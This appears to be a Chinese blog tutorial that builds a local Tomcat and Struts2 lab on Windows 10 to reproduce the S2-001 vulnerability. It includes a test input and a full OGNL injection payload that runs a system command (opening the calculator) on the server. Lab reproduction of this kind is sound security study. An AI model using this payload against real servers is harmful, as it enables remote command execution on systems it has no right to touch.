win10搭建Web服務(wù)器 S2-001漏洞復(fù)現(xiàn)

環(huán)境

1、Windows x64 家庭版
2、java 1.8.0_144
3、tomcat 7.0.94

搭建java

1、下載java
2、搭建java環(huán)境

搭建tomcat

1、下載tomcat
2、搭建tomcat環(huán)境
3、解壓下載的zip,運(yùn)行bin/startup.bat,tomcat就運(yùn)行了,輸入http://127.0.0.1:8080/,訪問成功

搭建struts2

1、下載struts2,(github推薦使用chrome 的 Octo Mate插件,可下載單個文件),其它下載

2、將war放到tomcat的webapps目錄下,運(yùn)行tomcat,webapps下的war包就會自動解壓
3、訪問http://127.0.0.1:8080/S2-001/

復(fù)現(xiàn)漏洞S2-001

1、驗證,輸入密碼%{1+1}

驗證.png

2、結(jié)果,返回2,存在漏洞


結(jié)果.png

3、利用payload彈出計算機(jī)

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

彈出計算機(jī)


圖片.png

IntelliJ IDEA搭建tomcat

將 Tomcat 安裝為系統(tǒng)服務(wù),在 tomcat的bin目錄下,cmd 中運(yùn)行service.bat install, 提示安裝成功--->The service 'Tomcat7' has been installed,在系統(tǒng)服務(wù)找到它--->Apache Tomcat 7.0.94 Server。

在 cmd 中運(yùn)行 **service.bat install
1、下載IntelliJ IDEA,Ultimate版免費(fèi)
2、安裝IntelliJ IDEA
3、點(diǎn)擊Run---EDit Configurations...
4、點(diǎn)擊左側(cè)“+”號,找到Tomcat Server---Local(若是沒有找到Tomcat Server 可以點(diǎn)擊最后一行 34 items more)
5、在Tomcat Server -> Unnamed -> Server -> Application server項目下,點(diǎn)擊 Configuration ,找到本地 Tomcat 服務(wù)器,再點(diǎn)擊 OK按鈕

參考

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容